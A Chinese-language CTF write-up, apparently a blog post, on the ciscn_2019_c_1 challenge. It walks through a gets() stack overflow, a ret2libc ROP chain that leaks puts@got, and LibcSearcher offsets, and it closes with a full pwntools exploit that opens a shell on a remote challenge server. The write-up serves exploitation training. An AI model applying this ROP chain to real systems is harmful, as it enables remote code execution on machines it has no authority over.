一个ROP链的利用
总体思路:
- 获取
puts@got,得到glibc地址(理解为特征码),对应一定偏移量得到system@got和/bin/sh字符串 
- 执行危险函数
 
细分来看:
- 为了得到
puts真实地址(不一定非要puts,其他在程序的函数比如gets也可),我们需要通过puts@plt输出puts@got指向的值(这就是真实puts地址) 
- 为了输出
puts,需要为puts@plt传递参数,在x64上,参数依次放在rdi, rsi, rdx, rcx, r8, r9上,为此我们让程序返回到pop rdi;ret指令上,这样可以将puts@got弹到rdi上,从而输出puts@got指向的puts的值 
- 利用
1
   | ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret|rdi' | grep 'pop rdi'
   | 
 
可轻易锁定pop rdi;ret的地址1
   | 0x0000000000400c83 : pop rdi ; ret
   | 
 
 
源文件是这个
先checksec下:

然后ida反编译,发现在encrypt函数存在栈溢出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
   | int encrypt() {   size_t v0;    char s[48];    __int16 v3; 
    memset(s, 0, sizeof(s));   v3 = 0;   puts("Input your Plaintext to be encrypted");   gets(s);   while ( 1 )   {     v0 = (unsigned int)x;     if ( v0 >= strlen(s) )       break;     if ( s[x] <= 96 || s[x] > 122 )     {       if ( s[x] <= 64 || s[x] > 90 )       {         if ( s[x] > 47 && s[x] <= 57 )           s[x] ^= 0xFu;       }       else       {         s[x] ^= 0xEu;       }     }     else     {       s[x] ^= 0xDu;     }     ++x;   }   puts("Ciphertext");   return puts(s); }
   | 
 
Line10存在栈溢出
但是整个程序不存在system、/bin/sh字眼,可能需要构造ROP链。
我们需要构造如下payload,来控制puts输出目标函数地址:
1 2 3 4 5 6
   | payload1 = ('A'*(0x50+8)).encode('ascii') + p64(pop_rdi_ret) payload1 += p64(puts_got) + p64(puts_plt) + p64(start_addr)
 
 
 
 
  | 
 
泄漏puts函数的地址后,利用基准偏移可得到其危险函数地址:
1 2 3 4 5 6 7 8 9 10
   | io.recvuntil("Ciphertext\n") io.recvline() leak=io.recvline()[:-1].ljust(8, b'\0')  print(leak) puts_leak = u64(leak) print(puts_leak)  libc = LibcSearcher('puts',puts_leak) libc_offset = puts_leak - libc.dump('puts')  sys_addr = libc_offset + libc.dump('system') bin_sh_addr = libc_offset + libc.dump('str_bin_sh')
  | 
 
再次构造类似payload1的payload:
1 2
   | payload2 = ('A'*(88)).encode('ascii') + p64(ret) payload2 += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(sys_addr)
  | 
 
与前者不同,此处需要先ret一下,以对齐16字节,防止出错
总exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
   | from pwn import * from LibcSearcher import *
  io = remote("node4.buuoj.cn",28402)
  gamebox = ELF('./ciscn_2019_c_1')
  pop_rdi_ret = 0x0000000000400c83    puts_plt = gamebox.plt['puts'] puts_got = gamebox.got['puts'] print('hiiiiiiiiiiii',p64(puts_got)) start_addr = gamebox.symbols['_start'] payload1 = ('A'*(88)).encode('ascii') + p64(pop_rdi_ret) payload1 += p64(puts_got) + p64(puts_plt) + p64(start_addr)
  io.sendlineafter("Input your choice!\n","1") io.sendlineafter("Input your Plaintext to be encrypted\n",payload1)
 
  io.recvuntil("Ciphertext\n") io.recvline() leak=io.recvline()[:-1].ljust(8, b'\0') print(leak) puts_leak = u64(leak) print(puts_leak) libc = LibcSearcher('puts',puts_leak) libc_offset = puts_leak - libc.dump('puts') sys_addr = libc_offset + libc.dump('system') bin_sh_addr = libc_offset + libc.dump('str_bin_sh')
  ret = 0x00000000004006b9 payload2 = ('A'*(88)).encode('ascii') + p64(ret) payload2 += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(sys_addr) io.sendline("1") io.sendlineafter("Input your Plaintext to be encrypted\n",payload2) io.interactive()
   |